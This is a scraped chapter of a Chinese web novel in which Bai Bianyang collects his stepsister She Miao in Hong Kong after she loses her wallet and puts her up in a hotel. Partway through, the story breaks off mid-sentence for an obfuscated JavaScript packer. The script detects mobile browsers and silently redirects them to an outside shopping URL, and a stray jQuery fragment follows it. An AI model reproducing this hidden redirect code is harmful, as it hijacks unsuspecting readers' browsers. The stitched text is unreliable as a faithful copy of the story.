文趣网 > 都市小说 > 咬烂苹果 > 3. 第 3 章
    [伤我或是害我都惨不过,教我记得一起幸福过。]

    ——《借过》容祖儿

    -

    看到这行字,梁律师忍不住回头望了眼柏边旸。

    男人居高临下地站在旁边,镜片挡眸,情绪不明,不知是在看琴还是在看人。

    佘淼将小提琴小心翼翼地拿起,又在琴盒里找了一圈,依旧一无所获。

    她蹲在地上,窘迫和不安的情绪覆盖巴掌大的脸,眼眶很快泛起红。

    梁律师正要安慰,忽听她问:“梁律师,香港现在还不能用手机扫码付款对吗?”

    梁律师点点头:“扫码付款功能目前还没有在我们这里大面积实行。”

    佘淼捧着琴,无措地看着他。

    “我的钱包不知道什么时候丢了……我的身份证,还有学生证和通行证那些证件都在里面……”

    “我所有的现金也都在里面,买不了地铁票……”

    梁律师心想,这女孩未免也太倒霉了。

    来了一趟香港,是被老头非礼,又是丢钱包。

    来口岸之前老板同他交代过,他只需要负责帮忙把人从报案中心安全带出来,其余的都不用关心,也不用多问。

    梁律师谨记老板的吩咐,而且佘淼是老板的继妹,就算他想帮她,怎么都得先问过老板。

    他站起身,犹豫地看着柏边旸:“老板……”

    柏边旸皱着眉,看着蹲在面前的佘淼迟迟没有开口。

    想必女孩的窘迫,男人一身贵气地站在那儿,矜贵克制的细节都藏在剪裁考究的衬衫与磨砂银的袖扣上,左腕间翠色表盘透出年岁的微光,垂下的手微微攥紧,手背劲瘦的青筋凸显。

    这副沉默的冷漠态度饶是谁看了,都会觉得男人冷血。

    佘淼垂下眼,一闪而过失落。

    她也抿唇,不开口,胡乱擦了一把脸,蹲在地上把琴盒和行李箱默默收好。

    她站起身,嘴角勾起勉强的笑,看着两个男人说:“对不起,给你们添麻烦了,你们先走吧,我再回去一趟报案中心,看看能不能通过监控找到我的钱包。”

    柏边旸终于开口:“现在才发现钱包丢了,你的钱包估计早就不知道被送到哪里去销赃了。”

    佘淼小声说:“那我就直接报警抓小偷……”

    柏边旸接着淡声说:“这里每天过关的人好几十万,找警察帮忙,等你签证到期,钱包都未必能找到。”

    佘淼实在没办法了:“那……”

    “你的钱包具体长什么样,里面有什么东西,一会儿跟梁律师描述清楚,其他的就不用管了。”柏边旸说,“拿好行李跟我走。”

    -

    从湖罗口岸出来,口岸附近就有Taxi站,时间接近零点,好在计程车24小时运营。

    私家车停在不远处的停车场内,得先搭taxi过去和司机汇合。梁律师叫了辆计程车,下意识要坐上副驾驶,将相对舒适的后排座位留给老板和他继妹。

    柏边旸伸手挡了一下他:“你坐后面吧。”

    然后便自己坐上了副驾驶。

    梁律师对老板的态度实在捉摸不透,一路无话,好在计程车司机有听深夜电台的习惯。

    计程车的尾灯一路掠过深市的高楼与香港的山影,深夜重播的清谈节目《十八楼C座》演到尾声,电台的嬉笑怒骂声中,车厢内无比安静,只有司机偶尔的干咳。

    到了停车场,逼仄的计程车终于换成宽敞舒适的S级行政轿车。

    等候多时的司机下车迎接,目光一顿,对新出现的女孩表示出了微微诧异的神情。

    但他很快便收回了目光,不好奇不打听,将女孩的行李都放入后备箱收好。

    柏边旸依旧往副驾驶坐,司机愣了一下,不过依旧什么也没问。

    佘淼小心翼翼坐上车,背始终挺直,不敢轻易地将身体靠在车座上。

    她认识这辆车的型号。

    车是新的,型号却是柏边旸从父亲那里继承下来的稳重选择。

    很多年前,佘淼还不认识车,她跟着妈妈和柏叔叔去浅水湾的别墅拜访柏叔叔的爸爸,看着满车库的车,各种车牌,各种颜色,天真地问为什么柏叔叔的爸爸有这么多辆车,而柏叔叔却只有一辆车。

    柏叔叔笑着说:“车只是代步工具,够用就好。”

    这些年柏边旸每次去养和医院看望柏长林,都是坐这辆车,因此老人家常夸他礼数周全,不钟情豪车,和他父亲当年的做派一模一样,符合家族继承人的低调亲民形象。

    柏边旸:“你去哪儿?”

    佘淼回过神,报出皇后大道西的某栋旧楼旅馆地址。

    车子驶入夜色,一直等开上公路,路两旁盘踞着绿色山丘与零星村屋,柏边旸再次开口:“为什么不住宿舍?”

    佘淼轻声答:“我错过宿舍申请时间了。”

    HKU的宿舍需要学生自行申请,且位置紧张,内地来的交换生享有优先分配权,按理来说不该这么倒霉,可她说是自己错过了申请时间。

    那就不能怪学校了,只能怪她自己粗心,竟然连这种事都会忘。

    比小时候还粗心,小时候好歹机灵,这几年,也不知年纪都长到哪里去了。

    柏边旸语气低沉:“那你这一年住哪里?住旅馆?”

    “来之前我上网搜了很多租房信息,还加了一个港漂群,正好地铁站附近有一栋唐楼的合租单间在转租,我本来打算等明天去看看……”佘淼的声音忽然变小,“但是钱包丢了,所以我过完今晚得赶紧回一趟内地补办挂失那些证件……”

    柏边旸:“如果找到钱包我会叫人送给你。”

    明知他看不见,佘淼还是点了点头:“嗯嗯,谢谢,那个钱包对我来说真的很重要,拜托一定要帮我找到。”

    柏边旸:“除了身份证件,钱包里还有没有可以证明你身份的东西?”

    “有的。”佘淼说,“里面有一张四人合照,合照上有我。”

    柏边旸语气一低:“四人合照?”

    “嗯,就是我们当年一起照的……”佘淼咬了下唇,语气再次变得小心翼翼,“全家福。”

    柏边旸不说话了。

    佘淼也闭上了嘴,低头揪手指。

    手机铃声打破沉默,柏边旸看了眼来电显示,接起电话。

    “Serene,咁夜打畀我,冇咩紧要事(这么晚打给我,有什么要紧事吗)?”

    听到这个英文名,佘淼一直低着的头抬起,目光看向前座司机与副驾之间的后视镜。

    此时车子已经穿过过山隧道,驶入九龙地界,高架桥上桥灯掠影,后视镜里,男人淡然的脸被走马般的一截截灯光照得忽明忽暗,镜片反光,看不出表情。

    柏边旸语气平静:“我唔喺屋企,OT紧(我不在家,我在公司加班)。”

    他的谎说得面不改色,佘淼垂眼。

    柏边旸:“Cissy嚟咗香港(Cissy来香港了)?”

    又是一个熟悉的名字,佘淼一直听着。

    “OK,约好时间地点再话我知。”

    柏边旸握着手机,声音比刚刚柔和了些:“我会留意?,你都早啲唞(我会注意身体,你也早点休息)。”

    挂了电话,男人收敛笑意,眸光一扫而过后视镜。

    佘淼正侧头看着车窗外,透过高耸楼宇的缝隙,望见维多利亚港的一汪水面。

    夜色茫茫,她白净姣好的面庞覆上几分惆然,脆弱无助到仿佛一触就碎。

    柏边旸直接对司机说:“去柏翠酒店。”

    佘淼听到,转过头看他,脸上写着问号。

    柏边旸仿佛知道她要问什么,反问:“你没有身份证件,怎么入住?”

    佘淼小声说:“可是如果旅馆都不行,那酒店更不行吧。”

    柏边旸:“是不行,但这家酒店现在是我在接管。”

    佘淼:“……”

    近一小时,车子开到了金碧辉煌的酒店大门。

    二十四小时轮班的泊车员迎上前,柏边旸留在车子里,让梁律师带着佘淼去办理入住。

    佘淼下车前,柏边旸叫住她:“你等下。”

    她收回开门的手。

    柏边旸从自己的皮夹里拿出一叠现金,以及一张黑色的八达通卡,递给

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747471|209345||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她。

    佘淼犹豫地没有接。

    柏边旸:“拿着,香港没有现金和八达通很不方便。”

    佘淼小心翼翼接过:“钱我会还给你的。”

    柏边旸:“不用还。”

    佘淼:“那这张卡……”

    “等你办好了卡,这张卡你直接寄回公司,写公司的地址和电话。”柏边旸说。

    “谢谢。”佘淼语气感激,“今天真的麻烦你了。”

    柏边旸:“真谢我就别再搞出这么多事来麻烦我,二十岁的人了,你以为你还是小孩吗?”

    佘淼:“对不起……”

    “不用跟我说对不起,我听腻了。”柏边旸坐在副驾驶上挥手,“下车吧。”

    明明他为她安排了最好的酒店入住,可佘淼却有种被赶下车的狼狈感。

    即使梁律师说房费是记账的,但佘淼坚持只要最普通的房间。

    入住手续办得很顺利,待会儿有行李员会负责带她乘坐电梯去到房间,行李由他帮忙拿上去,因此梁律师没有送她上楼,他今天加班时间太长,只想赶紧回家休息。

    佘淼千恩万谢,目送梁律师在旋转门前消失。

    在大厅里等一会儿,来了个穿制服的行李员,和她一起坐上直达楼层的电梯。

    电梯里除了他们,还有另外几个入住的客人。

    和她身上穿的T恤牛仔裤不同,这几个客人都穿得正式,其中一位女士脖子上的满圈澳白珍珠项链在灯光下尤为亮眼。

    尤其是鞋子,她奔波了一整天,一路上各种交通工具几乎换乘了个遍,帆布鞋面沾染上风尘仆仆的味道,踩在酒店光洁的地砖上,好像比地砖还要脏一点。

    金色镜面的电梯里,一切细微的声响都能听见,佘淼忽然听到来自后方的一声戏谑:“又来个大陆妹。”

    “没办法,暑假到了嘛。”

    “天天往香港跑,香港都变挤了。”

    见佘淼没有反应,陪同她上楼的行李员以为她是听不懂白话,心里悄悄松了口气。

    这样也好,避免了起冲突,他还要得罪其他几位客人。

    这时和那串澳白项链同行的中年男人忽然抬手捂住鼻子。

    “啧,点解大陆妹出咁多汗??着短袖都冇用,一样出汗。”

    说大陆妹出汗多,又捂着鼻子,什么意思不言而喻。

    电梯里的其他几个人轻轻笑出声来。

    电梯很快到达佘淼入住的楼层,她先走出电梯,再转身,按着电梯键。

    电梯里的几个人不明就里地看着她。

    她目光柔和,秋水剪瞳,看着中年男人轻声说:“冇你出咁多汗,闻下自己阵狐臭先啦老嘢(没你出汗多,闻下自己的狐臭味吧老东西)。”

    她讲白话清脆温柔,像糯米糍拉丝,又像三月的小雨落在青石板上,软软的,尾音微微上扬,但骂得很脏。

    “一群八婆老嘢。”

    说完,她松开键,退后半步,眼睁睁看着电梯门合上。

    佘淼听得懂白话,也会说。门缝合拢之前,她看见电梯里的那几个人呆滞过后羞愤的脸色。

    行李员不敢和佘淼多讲一句话,将人一送到房间,匆匆介绍了一下房间设施,鞠了个躬就走了。

    房间门关上,佘淼从书包里掏出钱包。

    打开钱包,她所说的四人合照就静静地躺在钱包的相片位中。

    照片里的一家四口都笑得很开心。

    背景是金色演奏大厅,沉淀百年的暗金色下,管风琴庄严肃穆,一根根铜管如同骑士直耸墙面,照片里一身正装相携而立的夫妇看起来很登对。

    彼时的佘淼十二岁,刚随HK青少年管弦乐团在海外完成了一场音乐会,穿了身蓬蓬的公主裙,手里捧着一束洁白的百合花,站在妈妈和柏叔叔中间,冲着镜头比剪刀手。

    百合花是哥哥送给她的。

    柏叔叔语气温和:“淼淼,这可是哥哥特意给你挑的花,说是跟你的裙子颜色很配。”

    佘淼惊喜地看着哥哥。

    彼时的柏边旸十八岁,冲她神气挑眉,西装革履掩不住一身高挑雅正的少年气息。